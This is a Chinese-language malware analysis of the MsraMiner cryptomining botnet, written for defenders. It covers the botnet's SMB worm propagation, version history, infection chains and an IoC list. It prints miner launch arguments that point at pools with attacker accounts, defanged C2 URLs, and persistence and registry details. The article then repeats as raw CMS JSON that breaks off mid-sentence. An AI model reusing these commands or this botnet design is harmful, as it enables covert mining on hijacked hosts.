月底，我们的 DNSMon 系统监测到几个疑似 DGA 产生的恶意域名活动有异常。经过我们深入分析，确认这背后是一个从 2017 年 5 月份运行至今的大型挖矿僵尸网络（Mining Botnet）。此僵尸网络最新的核心样本压缩包文件名为 MsraReportDataCache32.tlb ，我们将其命名为MsraMiner Botnet。
该僵尸网络的特征包括：
* 运行时间：2017 年 5 月份运行至今
* 传播方式：利用 NSA 武器库来感染，通过 SMB 445 端口传播蠕虫式传播：样本自带 Web Server提供自身恶意代码下载。样本扩散主要靠失陷主机之间的 Web Server 或 Socket 传输，同时提供了 C&C 端获取样本作为后备机制；
* 传播范围：感染失陷主机数量保守估计30,000 台
* 获利手段：主要是挖矿挖矿进程由 XMRig 编译而来；矿池：利用自行注册的域名做掩护，CNAME到知名的 xmr.pool.minergate.com矿池账号：是一批 Protonmail 的邮箱地址，Protonmail 是知名的匿名邮箱供应商部分样本的挖矿行为，可以根据 C&C 域名的解析结果来控制；
* 新的逃避检测的手段：C&C 域名形似 DGA 产生，非常随机，其实都硬编码在样本中；主动抑制：C&C 域名大部分时间会解析到保留地址段，会一定程度上抑制样本的传播和更新，历史上解析过的 C&C IP 相关端口也会封闭，只会在短暂的时间内放开 C&C 的正常服务功能。
规模与流行度
根据 DNSMon 统计，MsraMiner 相关 C&C 域名中请求量最高的是 d.drawal.tk ，巅峰时期达到 6.7M/天，直 到现在，每天的请求量还在 2M 上下：
其他 C&C 域名的请求量均低一个数量级，但巅峰时期也能达到 500K+/天，趋势图如下：
在我们 DNSMon 内部的域名流行度排行中， s.darwal.tk 历史最高流行度排名达到 165417 名。作为对比，我们此前发现的百万级僵尸节点的僵尸网络 MyKings 中，历史流行度排名最高的 C&C 域名 up.f4321y.com 排名为 79753 。
MsraMiner 的版本与迭代
据我们的追溯分析，MsraMiner 共有 2 个大版本，每个大版本中有 1 版明显的更新，我们将其版本命名为 v1.0/v1.1，v2.0/v2.1(当前最新)，各版本发生的期间和对应的C2 如下表所示：
MsraMiner v1.x 组成结构简单，小版本更新主要区别在于 C&C：
* v1.0 起始于 2017.5 月份，2017.7 月份终止，仅靠一个主 C&C 域名 eea.asf3r23.cf 支撑；
* v1.1 起始于 2017.7 月份，2017.11 月份开始逐渐消亡，主要靠 3 个 C&C 域名 s.drawal.tk / d.drawal.tk / z.drawal.tk 支撑。
* v1.0 / v1.1 的更新，通过前面的域名请求趋势图可以清晰地看出来，在 2017.7 月初， eea.asf3r23.cf 的请求量骤降，而 *.darwal.tk 三个域名的请求量骤增。
MsraMiner v2.x 组成相对复杂，小版本更新主要区别在于部分文件名和服务名的变更，以及与 C&C 服务器的交互。细节：
* v2.0 起始于 2017.11 月份，此时， *.darwal.tk 三个域名的请求量骤降，而 swt.njaavfxcgk3.club / rat.kziu0tpofwf.club 等 C&C 域名的请求量骤增；
* v2.1 起始于 2017.12 月底，此时 MsraMiner 上线了一批新的 C&C 域名，并对样本做了小幅更新。
MsraMiner 这些版本相关的域名、样本、IP 等 IoC，在背后都有千丝万缕的联系，通过下图可以直观看出来（箭头所指为 IoC 关联的点）：
挖矿
第一代 MsraMiner 挖矿行为相对简单，启动参数如下（其他配置则在 iolchxfz32.dat 文件中）：
‐o stratum+tcp://xmr.pool.minergate.com:45560‐u [email protected] ‐t %d
第二代 MsraMiner 挖矿的矿池和账户就比较隐蔽。矿池地址和账户以及部分 C&C 域名被硬编码在前一阶段样本 中，并由前一阶段样本保存到注册表中。下一阶段样本会读取注册表中的加密数据，解密之后作为启动矿机的参 数，其中解密出来的矿池域名和挖矿账户：
-o p1.mdfr6avyyle.online:45560 -u [email protected]
-o p3.mdfr6avyyle.online:45560 -u [email protected]
-o p5.mdfr6avyyle.online:45560 -u [email protected]
-o p1.qsd2xjpzfky.site:45560 -u [email protected]
-o p3.qsd2xjpzfky.site:45560 -u [email protected]
-o p5.qsd2xjpzfky.site:45560 -u [email protected]
-o p1.vpccaydoaw.live:45560 -u [email protected]
-o p3.vpccaydoaw.live:45560 -u [email protected]
-o p5.vpccaydoaw.live:45560 -u [email protected]
MsraMiner 启动矿机（XMRig），还会根据当前 CPU 配置自动调整 -t 参数，即线程数，调整策略如下：
而上面那些矿池域名并非自建矿池，它们的 CNAME 都是 xmr.pool.minergate.com ，我们统计到的 CNAME 配置为 xmr.pool.minergate.com 的域名有：
p1.jdi1diejs.club
p1.mdfr6avyyle.online
p1.qsd2xjpzfky.site
p1.vpccaydoaw.live
p3.mdfr6avyyle.online
p3.qsd2xjpzfky.site
p3.vpccaydoaw.live
p4.jdi1diejs.club
p5.mdfr6avyyle.online
p5.qsd2xjpzfky.site
p5.vpccaydoaw.live
V1.x 系列样本行为分析
文件构成
第一代 MsraMiner 涉及的原始样本文件如下（注明 zip 的，文件实为 ZIP 压缩包）
其中的 Crypt 文件实为 NSA Toolkit Zip 压缩包，其解压后的文件列表如下：
执行流程
第一代 MsraMiner 会利用上述文件完成感染，进而在失陷主机上启动矿机程序来挖矿，其感染的概要过程为（A 与 B 均为失陷主机）：
(A)svchost.exe-->(A)spoolsv.exe-->(payload to crack B)x86.dll/x64.dll-->(B)svchost.exe
流程图如下（假设失陷主机 A 为攻击机，去感染 B 主机，系统均为 32bit，如无注明，均以 v1.1 的样本分析结果进行描述）：
首先，A 中启动的 svchost.exe 程序，通过 schtasks.exe /create 命令注册系统服务，开机启动，从而驻留系统：
A 中 svchost.exe 通过 HTTP POST 请求，向 hxxp://d.drawal.tk:443 发送程序运行日志 [*] Hello %d
min...\n ，后续运行过程中还会频繁向该接口发送其他内容的程序运行日志。v1.0 版本中，承载此功能的C&C 域名是 eea.asf3r23.cf ；
A 中 svchost.exe 启动一个线程，从自身 BIN 资源中抽取矿机程序，启动挖矿；
A 中 svchost.exe 启动一个线程，该线程启用了一个 Mongoose 框架实现的 Mini Web Server，端口为
26571 ，该 Web Server 把本机的 dnsclientprovider_userdata.mof 文件对外提供下载，对方通过 HTTP
GET 方式请求此资源，svchost32.exe 就会把该文件推送过去；如果对方通过其他 HTTP Post 访问该 Web 服务，则返回 HTTP 404；如果是其他 HTTP Method 访问该 Web 服务，则返回字符串 Hell World? ；
A 中 svchost.exe 启动线程，每隔 900s 运行一次本地的 spoolsv.exe 程序，该程序会先释放自身 BIN 资源中的 Crypt （实为 NSA Toolkit zip 压缩包），将 Crypt 解压，并把其中的文件释放到 %win_dir%\IME\Crypt\ 目录中，然后启动 Crypt 目录中的相关工具程序，对同网段中其他机器（比如机器B）发起感染；
A 中 spoolsv.exe 会启动 Crypt\spoolsv.exe 发起感染，如果成功感染机器 B，则会把 Crypt\x86.dll 作为Payload 去机器 B 上执行；
A 中 svchost.exe 每隔 901.5s 左右向 z.drawal.tk:8080 发送一次本机详细配置信息，v1.0 版本中，承载此功能的 C&C 域名为 eea.asf3r23.cf ；
B 中，x86.dll 文件做以下几件事：
* create mutex {5EC0AC33D-E23D-C8A2-A92C833} ；
* 检测本地是否存在 dnsclientprovider_userdata.mof ，若有，则删除；
* 从 A 机器的 Mini Web Server 获取 dnsclientprovider_userdata.mof ，将其中的 iolchxfz32.dat / svchost32.exe / spoolsv32.exe 解压出来，放到 %win_dir%\IME\Crypt\ 中，并分别重命名为 settings7283.dat / svchost.exe / spoolsv.exe
* 将 svchost.exe 通过 schtasks.exe /create 命令注册系统服务，并启动 svchost.exe；
* 至此，通过 (A)svchost.exe-->(A)spoolsv.exe-->(payload to crack B)x86.dll-->(B)svchost.exe 的攻击链完成一轮感染。
值的一提的是，svchost.exe 可以通过 s.drawal.tk 域名的解析情况来控制矿机的启动与终止（v1.0 不具有此功能）：
* 如果 s.drawal.tk 解析 IP 的 A 段数字为 1 或 3 ，则不启动矿机，0.3s 后重新检查解析结果；
* 如果 900s 之后 s.drawal.tk 的解析结果有变化，则终止矿机运行。
V2.x 系列样本行为分析
文件构成
第二代 MsraMiner 涉及的原始样本文件如下（注明 zip 的，文件实为 ZIP 压缩包）：
第二代 MsraMiner 会利用上述文件完成感染，进而在失陷主机上启动矿机程序来挖矿。其感染的概要过程为（A 与 B 均为失陷主机）：
(A)srv-->(A)spoolsv.exe-->(payload to crack B)x86.dll/x64.dll-->(B)srv.exe
流程图如下（假设失陷主机 A 为攻击机，去感染 B 主机，系统均为 32bit，如无注明，均以 v2.1 的样本分析结果进行描述）：
* A 中，srv 是个 DLL 文件，是 MsraMiner 驻留失陷主机的核心服务文件，在失陷主机上会被重命名为 tpmagentservice.dll 。srv 中的 ServiceCrtMain() 函数由 NSA 工具包的 Payload 启动：
* A 中， srv 的 Common 模块检查自身的启动命令，如果不是由 svchost.exe / rundll32.exe / regsvr32.exe 其中之一启动，则结束进程，以此实现一定的反调试功能；
* A 中，srv 的 Common 模块 在 C:\Windows\system32\ 目录下创建 NetTraceDiagnostics.ini 文件； A 中， srv 的 Common 模块会杀掉第一代、第二代 MsraMiner 的相关进程，停止旧服务（vmichapagentsrv ）、删除旧文件；
* A 中 srv 的 Common 模块读取注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ 下面 ServicesPixels 键的值，该处保存着变形 XOR 加密后的 C2 Domain、矿池域名和挖矿账号；
* A 中 srv 的 WebHost 模块在 26931 端口启动 Mini WebServer，对任何 HTTP 请求均以 HTTP 404 响应。
* v2.0 的 Mini WebServer 端口是 36215 ，且功能更复杂，既提供压缩包的下载（请求hxxp://[c2domain]/NrsDataCache.tlb ），也提供注册表数据的下载（请求hxxp://[c2domain]/d/msdownload/update/others/88ee176ce078def878ee.cab ）；
* v2.0 的 srv 文件 还会通过 Downloader 模块向 C2 请求最新的配置数据（C2 Domain、矿 池域名和挖矿账号）；
* v2.0 的 srv 文件，还会把当前进程的运行日志频繁发送给 hxxp://err.njaavfxcgk3.club:443 ； A 中 srv 的 Job 模块，会从 C:\Windows\system32\MsraReportDataCache32.tlb 中解压出 hash 文件（xmrig 矿机程序），重命名为 TrustedHostServices.exe （v2.0 会重命名为 SecUpdateHost.exe ），并用注册表中读取的配置作为启动参数，启动矿机（矿机的线程数量策略同 v1.x）；
* A 中 srv 主模块会启动一个线程，每隔 1s 向 hxxp://[c2domain]:4433/uripath 发送 POST 请求，其中 uri_path 为 5b8c1d | d0a01e | a4c80e 其中之一，疑似可以从 C2 上获取 MsraReportDataCache32.tlb 来更新本地样本；
* A 中 srv 的 Infection 模块从 C:\Windows\system32\MsraReportDataCache32.tlb 中解压出 spoolsv32 ，重命名为 spoolsv.exe 并启动，执行感染功能，spoolsv.exe 的具体功能如下：从 C:\Windows\system32\MsraReportDataCache32.tlb 中解压出 crypt(.zip)，crypt 是 NSA 工具包，从中取出攻击程序和配置文件，向局域网发起攻击，Payload 为 crypt 压缩包中的 86.dll / x64.dll；入侵成功后，Paylod DLL 在失陷主机 B 那里开 57219 端口，然后从攻击机把MsraReportDataCache32.tlb 上传到失陷主机 B；探测局域网主机 26931（Mongoose WebServer）端口，26931 端口由其他失陷主机的主控模块 srv 开 启；与 C2 交互（功能未明，C2 已失效，以下 C2 仅为举例）：
hxxp://acs.njaavfxcgk3.club:4431/f79e53
hxxp://acs.njaavfxcgk3.club:4433/5b8c1d
hxxp://rer.njaavfxcgk3.club:4433/a4c80e
hxxp://rer.njaavfxcgk3.club:4433/d0a01e
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
hxxp://ccc.njaavfxcgk3.club:4431/f79e53
hxxp://ccc.njaavfxcgk3.club:4433/5b8c1d
hxxp://rer.njaavfxcgk3.club:4433/a4c80e
hxxp://rer.njaavfxcgk3.club:4433/d0a01e
* B 中 x86.dll 有以下主要行为：删除旧文件 MsraReportDataCache32.tlb/tpmagentservice.dll/NetTraceDiagnostics.ini ；从 57219 端口接收 A 主机传过来的 MsraReportDataCache32.tlb ；将自身携带的加密数据存储到注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ 下面 ServicesPixels 键中；终止旧的主服务，从 MsraReportDataCache32.tlb 中解压出 srv 文件，重命名为tpmagentservice.dll ，并重新注册服务 tpmagentservice ，启动 tpmagentservice.dll 的ServiceCrtMain() 函数。 至此，第二代 MsraMiner 完成了从失陷主机 A 到失陷主机 B 的感染，并根据配置文件启动矿机程序进行挖矿
IoC 列表
#
swt.njaavfxcgk3.club
x1.sk0zda1rmzs.world
x5.sk0zda1rmzs.world
d1d1d1.ftbxedwakc.me
x1x1x1.ftbxedwakc.me
tar.kziu0tpofwf.club
rer.njaavfxcgk3.club
acs.njaavfxcgk3.club
ccc.njaavfxcgk3.club
cf.sk0zda1rmzs.world
cm.sk0zda1rmzs.world
cmcmcm.ftbxedwakc.me
err.njaavfxcgk3.club
rat.kziu0tpofwf.club
p3.njaavfxcgk3.club
s.drawal.tk
d.drawal.tk
z.drawal.tk
eea.asf3r23.cf
p3.qsd2xjpzfky.site
p1.mdfr6avyyle.online
p1.qsd2xjpzfky.site
p5.qsd2xjpzfky.site
p5.mdfr6avyyle.online
p3.mdfr6avyyle.online
p1.vpccaydoaw.live
p5.vpccaydoaw.live
p3.vpccaydoaw.live
C2 ip asn
AS20473 Choopa, LLC 104.238.149.229
AS20473 Choopa, LLC 107.191.61.152
AS20473 Choopa, LLC 108.61.246.77
AS20473 Choopa, LLC 108.61.247.93
AS4837 CHINA UNICOM China169 Backbone 119.188.68.5
AS20473 Choopa, LLC 207.246.100.220
AS20473 Choopa, LLC 45.32.110.163
AS20473 Choopa, LLC 45.32.121.95
AS20473 Choopa, LLC 45.32.127.108
AS20473 Choopa, LLC 45.32.48.160
AS20473 Choopa, LLC 45.32.51.130
AS20473 Choopa, LLC 45.63.127.197
AS20473 Choopa, LLC 45.63.94.237
AS20473 Choopa, LLC 45.76.103.25
AS20473 Choopa, LLC 45.76.185.56
AS20473 Choopa, LLC 45.76.188.118
AS20473 Choopa, LLC 45.76.199.181
AS20473 Choopa, LLC 45.76.48.72
AS20473 Choopa, LLC 45.76.51.49
AS20473 Choopa, LLC 45.76.55.4
AS20473 Choopa, LLC 45.77.11.148
AS20473 Choopa, LLC 45.77.14.227
AS20473 Choopa, LLC 45.77.20.217
AS20473 Choopa, LLC 45.77.22.234
AS20473 Choopa, LLC 45.77.25.58
AS20473 Choopa, LLC 45.77.29.88
AS20473 Choopa, LLC 45.77.31.21
样本 md5
011d6ce51b7806dca26c300e8d26f9bb
1e0022c02030f2b4353b583beffbade9
3aba72d1f87f4372162972b6a45ed8cd
593c0352bda3fee2e0d56d63601fa632
61c49acb542f5fa5ea9f2efcd534d720
6b6dd446403f10f43c33e83946eafa99
74fc7442f54a49875cbd5c3d6398847a
a937565fc52028949d8fca743c05b273
a9ef70160121d3d6ca0692b3081498fd
aa378f3f047acc8838ffd9fe4bd0025b
c24315b0585b852110977dacafe6c8c1
c284767a12c1670f30d3d1fe1cd8aedd
045cb0ab19e900e07f148233762cdff6
2bcd21c4ce8a1a2ff0769cd2aef2ff88
ed0fe346f568d6dff3aaf0077c91df2a
f7cd555799147d509e554b0e585aced0
c899d12ceff6ded5a37335f44356caaf
4b157f03f33cccb7b4182351a5126936
33fe92ae1bb36e7a7b7b7342627bd31e
49f7f7d75021e90761141c5fe76445a6
d92cd7ddb81d2c4a17e1b329ef7a2f1d
dca0d1e613f2ac48e231883870e5b3e9
739ab9250f32e006208f1ff15cd0d772
a8dfb2d7aee89a4b9ad194c7128954c6 | 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stratum+tcp://xmr.pool.minergate.com:45560‐u [email protected] ‐t %d\n"}],["code",{"code":"-o p1.mdfr6avyyle.online:45560 -u [email protected]\n-o p3.mdfr6avyyle.online:45560 -u [email protected]\n-o p5.mdfr6avyyle.online:45560 -u [email protected]\n\n-o p1.qsd2xjpzfky.site:45560 -u [email protected]\n-o p3.qsd2xjpzfky.site:45560 -u [email protected]\n-o p5.qsd2xjpzfky.site:45560 -u [email protected]\n\n-o p1.vpccaydoaw.live:45560 -u [email protected]\n-o p3.vpccaydoaw.live:45560 -u [email protected]\n-o p5.vpccaydoaw.live:45560 -u [email protected]\n"}],["image",{"src":"__GHOST_URL__/content/images/2018/03/pic_5.png","alt":"","title":""}],["code",{"code":"p1.jdi1diejs.club \np1.mdfr6avyyle.online \np1.qsd2xjpzfky.site \np1.vpccaydoaw.live \np3.mdfr6avyyle.online \np3.qsd2xjpzfky.site \np3.vpccaydoaw.live \np4.jdi1diejs.club \np5.mdfr6avyyle.online \np5.qsd2xjpzfky.site \np5.vpccaydoaw.live \n"}],["image",{"src":"__GHOST_URL__/content/images/2018/03/pic_6.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/03/pic_7.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/03/pic_8.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/03/pic_9.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/03/pic_10.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/03/pic_11.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/03/pic_12.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/03/pic_13.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/03/pic_14.png","alt":"","title":""}],["code",{"code":"hxxp://acs.njaavfxcgk3.club:4431/f79e53 \nhxxp://acs.njaavfxcgk3.club:4433/5b8c1d \nhxxp://rer.njaavfxcgk3.club:4433/a4c80e \nhxxp://rer.njaavfxcgk3.club:4433/d0a01e \n‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐\nhxxp://ccc.njaavfxcgk3.club:4431/f79e53 \nhxxp://ccc.njaavfxcgk3.club:4433/5b8c1d \nhxxp://rer.njaavfxcgk3.club:4433/a4c80e \nhxxp://rer.njaavfxcgk3.club:4433/d0a01e \n"}],["image",{"src":"__GHOST_URL__/content/images/2018/03/pic_15.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/03/pic_16.png","alt":"","title":""}]],"markups":[["strong"],["em"]],"sections":[[1,"p",[[0,[],0,"2017 年 11 月底，我们的 DNSMon 系统监测到几个疑似 DGA 产生的恶意域名活动有异常。经过我们深入分析，确认这背后是一个从 2017 年 5 月份运行至今的大型挖矿僵尸网络（Mining Botnet）。此僵尸网络最新的核心样本压缩包文件名为 MsraReportDataCache32.tlb ，我们将其命名为MsraMiner Botnet。"]]],[1,"p",[[0,[],0,"该僵尸网络的特征包括："]]],[3,"ul",[[[0,[],0,"运行时间：2017 年 5 月份运行至今"]],[[0,[],0,"传播方式：利用 NSA 武器库来感染，通过 SMB 445 端口传播蠕虫式传播：样本自带 Web Server提供自身恶意代码下载。样本扩散主要靠失陷主机之间的 Web Server 或 Socket 传输，同时提供了 C&C 端获取样本作为后备机制；"]],[[0,[],0,"传播范围：感染失陷主机数量保守估计30,000 台"]],[[0,[],0,"获利手段：主要是挖矿挖矿进程由 XMRig 编译而来；矿池：利用自行注册的域名做掩护，CNAME到知名的 xmr.pool.minergate.com矿池账号：是一批 Protonmail 的邮箱地址，Protonmail 是知名的匿名邮箱供应商部分样本的挖矿行为，可以根据 C&C 域名的解析结果来控制；"]],[[0,[],0,"新的逃避检测的手段：C&C 域名形似 DGA 产生，非常随机，其实都硬编码在样本中；主动抑制：C&C 域名大部分时间会解析到保留地址段，会一定程度上抑制样本的传播和更新，历史上解析过的 C&C IP 相关端口也会封闭，只会在短暂的时间内放开 C&C 的正常服务功能。"]]]],[1,"h4",[[0,[0],1,"规模与流行度"]]],[1,"p",[[0,[],0,"根据 DNSMon 统计，MsraMiner 相关 C&C 域名中请求量最高的是 d.drawal.tk ，巅峰时期达到 6.7M/天，直 到现在，每天的请求量还在 2M 上下："]]],[10,0],[1,"p",[[0,[],0,"其他 C&C 域名的请求量均低一个数量级，但巅峰时期也能达到 500K+/天，趋势图如下："]]],[10,1],[1,"p",[[0,[],0,"在我们 DNSMon 内部的域名流行度排行中， s.darwal.tk 历史最高流行度排名达到 165417 名。作为对比，我们此前发现的百万级僵尸节点的僵尸网络 MyKings 中，历史流行度排名最高的 C&C 域名 up.f4321y.com 排名为 79753 。"]]],[1,"h4",[[0,[0],1,"MsraMiner 的版本与迭代"]]],[1,"p",[[0,[],0,"据我们的追溯分析，MsraMiner 共有 2 个大版本，每个大版本中有 1 版明显的更新，我们将其版本命名为 v1.0/v1.1，v2.0/v2.1(当前最新)，各版本发生的期间和对应的C2 如下表所示："]]],[10,2],[1,"p",[[0,[],0,"MsraMiner v1.x 组成结构简单，小版本更新主要区别在于 C&C："]]],[3,"ul",[[[0,[],0,"v1.0 起始于 2017.5 月份，2017.7 月份终止，仅靠一个主 C&C 域名 eea.asf3r23.cf 支撑；"]],[[0,[],0,"v1.1 起始于 2017.7 月份，2017.11 月份开始逐渐消亡，主要靠 3 个 C&C 域名 s.drawal.tk / d.drawal.tk / z.drawal.tk 支撑。"]],[[0,[],0,"v1.0 / v1.1 的更新，通过前面的域名请求趋势图可以清晰地看出来，在 2017.7 月初， eea.asf3r23.cf 的请求量骤降，而 *.darwal.tk 三个域名的请求量骤增。"]]]],[1,"p",[[0,[],0,"MsraMiner v2.x 组成相对复杂，小版本更新主要区别在于部分文件名和服务名的变更，以及与 C&C 服务器的交互。细节："]]],[3,"ul",[[[0,[],0,"v2.0 起始于 2017.11 月份，此时， *.darwal.tk 三个域名的请求量骤降，而 swt.njaavfxcgk3.club / rat.kziu0tpofwf.club 等 C&C 域名的请求量骤增；"]],[[0,[],0,"v2.1 起始于 2017.12 月底，此时 MsraMiner 上线了一批新的 C&C 域名，并对样本做了小幅更新。"]]]],[1,"p",[[0,[],0,"MsraMiner 这些版本相关的域名、样本、IP 等 IoC，在背后都有千丝万缕的联系，通过下图可以直观看出来（箭头所指为 IoC 关联的点）："]]],[10,3],[1,"h4",[[0,[0],1,"挖矿"]]],[1,"p",[[0,[],0,"第一代 MsraMiner 挖矿行为相对简单，启动参数如下（其他配置则在 iolchxfz32.dat 文件中）："]]],[10,4],[1,"p",[[0,[],0,"第二代 MsraMiner 挖矿的矿池和账户就比较隐蔽。矿池地址和账户以及部分 C&C 域名被硬编码在前一阶段样本 中，并由前一阶段样本保存到注册表中。下一阶段样本会读取注册表中的加密数据，解密之后作为启动矿机的参 数，其中解密出来的矿池域名和挖矿账户："]]],[10,5],[1,"p",[[0,[],0,"MsraMiner 启动矿机（XMRig），还会根据当前 CPU 配置自动调整 -t 参数，即线程数，调整策略如下："]]],[10,6],[1,"p",[[0,[],0,"而上面那些矿池域名并非自建矿池，它们的 CNAME 都是 xmr.pool.minergate.com ，我们统计到的 CNAME 配置为 xmr.pool.minergate.com 的域名有："]]],[10,7],[1,"h4",[[0,[0],1,"V1.x 系列样本行为分析"]]],[1,"h6",[[0,[],0,"文件构成"]]],[1,"p",[[0,[],0,"第一代 MsraMiner 涉及的原始样本文件如下（注明 zip 的，文件实为 ZIP 压缩包）"]]],[10,8],[1,"p",[[0,[],0,"其中的 Crypt 文件实为 NSA Toolkit Zip 压缩包，其解压后的文件列表如下："]]],[10,9],[1,"h6",[[0,[],0,"执行流程"]]],[1,"p",[[0,[],0,"第一代 MsraMiner 会利用上述文件完成感染，进而在失陷主机上启动矿机程序来挖矿，其感染的概要过程为（A 与 B 均为失陷主机）："]]],[1,"p",[[0,[],0,"(A)svchost.exe-->(A)spoolsv.exe-->(payload to crack B)x86.dll/x64.dll-->(B)svchost.exe"]]],[1,"p",[[0,[],0,"流程图如下（假设失陷主机 A 为攻击机，去感染 B 主机，系统均为 32bit，如无注明，均以 v1.1 的样本分析结果进行描述）："]]],[10,10],[1,"p",[[0,[],0,"首先，A 中启动的 svchost.exe 程序，通过 schtasks.exe /create 命令注册系统服务，开机启动，从而驻留系统："]]],[10,11],[1,"p",[[0,[],0,"A 中 svchost.exe 通过 HTTP POST 请求，向 hxxp://d.drawal.tk:443 发送程序运行日志 [*] Hello %d"],[1,[],0,0],[0,[],0,"min...\\n ，后续运行过程中还会频繁向该接口发送其他内容的程序运行日志。v1.0 版本中，承载此功能的C&C 域名是 eea.asf3r23.cf ；"],[1,[],0,1],[0,[],0,"A 中 svchost.exe 启动一个线程，从自身 BIN 资源中抽取矿机程序，启动挖矿；"],[1,[],0,2],[0,[],0,"A 中 svchost.exe 启动一个线程，该线程启用了一个 Mongoose 框架实现的 Mini Web Server，端口为"],[1,[],0,3],[0,[],0,"26571 ，该 Web Server 把本机的 dnsclientprovider_userdata.mof 文件对外提供下载，对方通过 HTTP"],[1,[],0,4],[0,[],0,"GET 方式请求此资源，svchost32.exe 就会把该文件推送过去；如果对方通过其他 HTTP Post 访问该 Web 服务，则返回 HTTP 404；如果是其他 HTTP Method 访问该 Web 服务，则返回字符串 Hell World? ；"]]],[10,12],[1,"p",[[0,[],0,"A 中 svchost.exe 启动线程，每隔 900s 运行一次本地的 spoolsv.exe 程序，该程序会先释放自身 BIN 资源中的 Crypt （实为 NSA Toolkit zip 压缩包），将 Crypt 解压，并把其中的文件释放到 %win_dir%\\IME\\Crypt\\ 目录中，然后启动 Crypt 目录中的相关工具程序，对同网段中其他机器（比如机器B）发起感染；"]]],[10,13],[1,"p",[[0,[],0,"A 中 spoolsv.exe 会启动 Crypt\\spoolsv.exe 发起感染，如果成功感染机器 B，则会把 Crypt\\x86.dll 作为Payload 去机器 B 上执行；"],[1,[],0,5],[0,[],0,"A 中 svchost.exe 每隔 901.5s 左右向 z.drawal.tk:8080 发送一次本机详细配置信息，v1.0 版本中，承载此功能的 C&C 域名为 eea.asf3r23.cf ；"]]],[1,"p",[[0,[],0,"B 中，x86.dll 文件做以下几件事："]]],[3,"ul",[[[0,[],0,"create mutex {5EC0AC33D-E23D-C8A2-A92C833} ；"]],[[0,[],0,"检测本地是否存在 dnsclientprovider_userdata.mof ，若有，则删除；"]],[[0,[],0,"从 A 机器的 Mini Web Server 获取 dnsclientprovider_userdata.mof ，将其中的 iolchxfz32.dat / svchost32.exe / spoolsv32.exe 解压出来，放到 %win_dir%\\IME\\Crypt\\ 中，并分别重命名为 settings7283.dat / svchost.exe / spoolsv.exe"]],[[0,[],0,"将 svchost.exe 通过 schtasks.exe /create 命令注册系统服务，并启动 svchost.exe；"]],[[0,[],0,"至此，通过 (A)svchost.exe-->(A)spoolsv.exe-->(payload to crack B)x86.dll-->(B)svchost.exe 的攻击链完成一轮感染。"]]]],[10,14],[1,"p",[[0,[],0,"值的一提的是，svchost.exe 可以通过 s.drawal.tk 域名的解析情况来控制矿机的启动与终止（v1.0 不具有此功能）："]]],[3,"ul",[[[0,[],0,"如果 s.drawal.tk 解析 IP 的 A 段数字为 1 或 3 ，则不启动矿机，0.3s 后重新检查解析结果；"]],[[0,[],0,"如果 900s 之后 s.drawal.tk 的解析结果有变化，则终止矿机运行。"]]]],[1,"h4",[[0,[0],1,"V2.x 系列样本行为分析"]]],[1,"h6",[[0,[],0,"文件构成"]]],[1,"p",[[0,[],0,"第二代 MsraMiner 涉及的原始样本文件如下（注明 zip 的，文件实为 ZIP 压缩包）："]]],[10,15],[1,"p",[[0,[],0,"第二代 MsraMiner 会利用上述文件完成感染，进而在失陷主机上启动矿机程序来挖矿。其感染的概要过程为（A 与 B 均为失陷主机）："]]],[1,"p",[[0,[],0,"(A)srv-->(A)spoolsv.exe-->(payload to crack B)x86.dll/x64.dll-->(B)srv.exe"]]],[1,"p",[[0,[],0,"流程图如下（假设失陷主机 A 为攻击机，去感染 B 主机，系统均为 32bit，如无注明，均以 v2.1 的样本分析结果进行描述）："]]],[10,16],[3,"ul",[[[0,[],0,"A 中，srv 是个 DLL 文件，是 MsraMiner 驻留失陷主机的核心服务文件，在失陷主机上会被重命名为 tpmagentservice.dll 。srv 中的 ServiceCrtMain() 函数由 NSA 工具包的 Payload 启动："]],[[0,[],0,"A 中， srv 的 Common 模块检查自身的启动命令，如果不是由 svchost.exe / rundll32.exe / regsvr32.exe 其中之一启动，则结束进程，以此实现一定的反调试功能；"]],[[0,[],0,"A 中，srv 的 Common 模块 在 C:\\Windows\\system32\\ 目录下创建 NetTraceDiagnostics.ini 文件； A 中， srv 的 Common 模块会杀掉第一代、第二代 MsraMiner 的相关进程，停止旧服务（vmichapagentsrv ）、删除旧文件；"]],[[0,[],0,"A 中 srv 的 Common 模块读取注册表项 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\ 下面 ServicesPixels 键的值，该处保存着变形 XOR 加密后的 C2 Domain、矿池域名和挖矿账号；"]],[[0,[],0,"A 中 srv 的 WebHost 模块在 26931 端口启动 Mini WebServer，对任何 HTTP 请求均以 HTTP 404 响应。"]],[[0,[],0,"v2.0 的 Mini WebServer 端口是 36215 ，且功能更复杂，既提供压缩包的下载（请求hxxp://[c2"],[0,[1],1,"domain]/NrsDataCache.tlb ），也提供注册表数据的下载（请求hxxp://[c2"],[0,[],0,"domain]/d/msdownload/update/others/88ee176ce078def878ee.cab ）；"]],[[0,[],0,"v2.0 的 srv 文件 还会通过 Downloader 模块向 C2 请求最新的配置数据（C2 Domain、矿 池域名和挖矿账号）；"]],[[0,[],0,"v2.0 的 srv 文件，还会把当前进程的运行日志频繁发送给 hxxp://err.njaavfxcgk3.club:443 ； A 中 srv 的 Job 模块，会从 C:\\Windows\\system32\\MsraReportDataCache32.tlb 中解压出 hash 文件（xmrig 矿机程序），重命名为 TrustedHostServices.exe （v2.0 会重命名为 SecUpdateHost.exe ），并用注册表中读取的配置作为启动参数，启动矿机（矿机的线程数量策略同 v1.x）；"]],[[0,[],0,"A 中 srv 主模块会启动一个线程，每隔 1s 向 